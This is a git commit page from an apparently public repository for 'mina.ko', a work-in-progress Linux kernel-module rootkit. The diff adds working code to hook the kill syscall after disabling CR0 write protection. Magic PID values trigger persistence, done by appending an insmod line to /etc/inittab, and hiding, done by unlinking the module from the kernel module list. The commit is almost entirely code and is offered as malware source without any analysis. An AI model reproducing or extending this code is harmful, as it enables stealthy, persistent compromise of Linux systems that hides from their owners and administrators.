mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 07a3bc3e47b4e36dd868bc5f75003af9bb772b59
parent 7b54fa68ee1915e0d0ce144f1186364dac7e5e4b
Author: djnn <[email protected]>
Date: Tue, 31 Dec 2024 18:38:57 +0900

feat(mina): persistence & hide/unhide modules

Diffstat:
Mrootkit/Makefile | 2++
Mrootkit/cmd.txt | 3+--
Mrootkit/hooks/hooks.c | 29++++++++++++++++++-----------
Mrootkit/hooks/kill.c | 18++++++++++++++++++
Mrootkit/includes/mina.h | 10++++++++--
Mrootkit/mina.c | 14++++++++------
Arootkit/module_hiding.c | 23+++++++++++++++++++++++
Arootkit/persistence.c | 28++++++++++++++++++++++++++++

8 files changed, 106 insertions(+), 21 deletions(-)

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -12,6 +12,8 @@ MINA_CLIENT_ID = meow
 # kernel vars cant define with patsubst for some fucking reason
 obj-m := mina_$(MINA_CLIENT_ID).o
 mina_$(MINA_CLIENT_ID)-objs := mina.o 		\
+					        persistence.o 	\
+							module_hiding.o \
 							hooks/hooks.o 	\
 							hooks/kill.o
 
diff --git a/rootkit/cmd.txt b/rootkit/cmd.txt
@@ -1,4 +1,3 @@
 sudo cp -r /mnt/shared/rootkit . && sudo chown -R djnn:djnn rootkit && cd rootkit ; make clean ; make && sudo make load
 
-https://github.com/Sargastico/LKM-Kill-SysCallHook/blob/main/main.c
-
+https://stackoverflow.com/a/60564037
diff --git a/rootkit/hooks/hooks.c b/rootkit/hooks/hooks.c
@@ -6,6 +6,7 @@
 
 #include <linux/fs.h>
 #include <linux/init.h>
+#include <linux/kallsyms.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/slab.h>
@@ -18,7 +19,10 @@ static kallsyms_lookup_function_t get_kallsyms_lookup(void) {
         .symbol_name = "kallsyms_lookup_name",
     };
 
-    register_kprobe(&kp);
+    if (register_kprobe(&kp) < 0) {
+        printk(KERN_INFO "could not register kprobe");
+        return NULL;
+    }
     lkp = (kallsyms_lookup_function_t)kp.addr;
     unregister_kprobe(&kp);
     return lkp;
@@ -30,21 +34,24 @@ uint64_t *get_syscall_table(void) {
     return (!lookup) ? NULL : (uint64_t *)lookup("sys_call_table");
 }
 
-static inline void commit_cr0(uint64_t val) {
-    uint64_t __force_order = 0;
+inline void commit_cr0(unsigned long cr0) {
+    unsigned long __force_order;
 
-    asm volatile(
-        "mov %0, %%cr0"
-        : "+r"(val), "+m"(__force_order));
+    asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
 }
 
-void enable_memory_protection(uint64_t original_cr0) {
-    commit_cr0(original_cr0);
+void enable_memory_protection(void) {
+    unsigned long cr0 = read_cr0();
+
+    set_bit(16, &cr0);
+    commit_cr0(cr0);
 }
 
-void disable_memory_protection(uint64_t cr0) {
-    /* cr0 & ~0x00010000 => sets write permissions to read-only memory pages :) */
-    commit_cr0(cr0 & ~0x00010000);
+void disable_memory_protection(void) {
+    unsigned long cr0 = read_cr0();
+
+    clear_bit(16, &cr0);
+    commit_cr0(cr0);
 }
 
 hook_t *retrieve_hook_metadata(uint8_t syscall_nb) {
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -12,12 +12,30 @@
 
 #include "../includes/mina.h"
 
+#define PERSISTENCE_CODE (3794)
+
+#define TOGGLE_HIDE_CODE (434)
+
 short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
+    int pid = regs->di;
+    int sig = regs->si;
     hook_t *metadata = retrieve_hook_metadata(__NR_kill);
+
     if (!metadata) {
         printk(KERN_INFO "[mina] oh no");
         return -EINVAL;
     }
 
+    if (pid == PERSISTENCE_CODE) {
+        const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
+        return add_inittab_entry(str) != 0 ? EINVAL : 0;
+    }
+
+    if (pid == TOGGLE_HIDE_CODE) {
+        toggle_hide_module();
+        return 0;
+    }
+
+    printk(KERN_INFO "[mina] reached hooked syscall: signum => %d, pid => %d\n", sig, pid);
     return metadata->original(regs);
 }
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -16,10 +16,16 @@ typedef struct function_hook_metadata {
 
 typedef uint64_t (*kallsyms_lookup_function_t)(const uint8_t *function_name);
 
+// persistence.c
+int add_inittab_entry(char const *entry);
+
+// module_hiding.c
+void toggle_hide_module(void);
+
 // hooks/hooks.c
 uint64_t *get_syscall_table(void);
-void disable_memory_protection(uint64_t cr0);
-void enable_memory_protection(uint64_t original_cr0);
+void disable_memory_protection(void);
+void enable_memory_protection(void);
 hook_t *retrieve_hook_metadata(uint8_t syscall_nb);
 
 // hooks/kill.c
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -18,35 +18,37 @@ MODULE_VERSION("0.0.1");
  */
 static int __init module_start(void) {
     uint64_t *sys_table = get_syscall_table();
-    uint64_t cr0 = read_cr0();
 
     if (!sys_table)
         return -1;
 
-    disable_memory_protection(cr0);
+    disable_memory_protection();
     for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+        printk(KERN_INFO "[mina] setting syscall nb %d (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].syscall_nb, sys_hooks[ctr].original, sys_hooks[ctr].hook);
+
         sys_hooks[ctr].original = (syscall_t)sys_table[sys_hooks[ctr].syscall_nb];
         sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].hook;
+
+        printk(KERN_INFO "[mina] setting done (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].original, sys_hooks[ctr].hook);
     }
 
-    enable_memory_protection(cr0);
+    enable_memory_protection();
     printk(KERN_INFO "mina is cute ~\n");
     return 0;
 }
 
 static void __exit module_end(void) {
     uint64_t *sys_table = get_syscall_table();
-    uint64_t cr0 = read_cr0();
 
     if (!sys_table)
         return;
 
-    disable_memory_protection(cr0);
+    disable_memory_protection();
     for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
         sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].original;
     }
 
-    enable_memory_protection(cr0);
+    enable_memory_protection();
     printk(KERN_INFO "bye-bye mina ~\n");
 }
 
diff --git a/rootkit/module_hiding.c b/rootkit/module_hiding.c
@@ -0,0 +1,23 @@
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+
+#include "includes/mina.h"
+
+/* required to show / hide the module (hidden by default) */
+int is_hidden = 1;
+struct list_head *prev_module;
+
+void toggle_hide_module(void) {
+    if (is_hidden == 1) {
+        list_add(&THIS_MODULE->list, prev_module);
+        printk(KERN_INFO "[mina] welcome back!\n");
+        is_hidden = 0;
+    } else {
+        prev_module = THIS_MODULE->list.prev;
+        list_del(&THIS_MODULE->list);
+        is_hidden = 1;
+    }
+}
diff --git a/rootkit/persistence.c b/rootkit/persistence.c
@@ -0,0 +1,28 @@
+
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+
+#include "includes/mina.h"
+
+int add_inittab_entry(char const *entry) {
+    int ret = 0;
+    struct file *file;
+    loff_t pos = 0;
+
+    file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
+    if (IS_ERR(file)) {
+        ret = PTR_ERR(file);
+    }
+
+    ret = kernel_write(file, entry, strlen(entry), &pos);
+    if (ret < 0) {
+        filp_close(file, NULL);
+        return ret;
+    }
+
+    filp_close(file, NULL);
+    return 0;
+}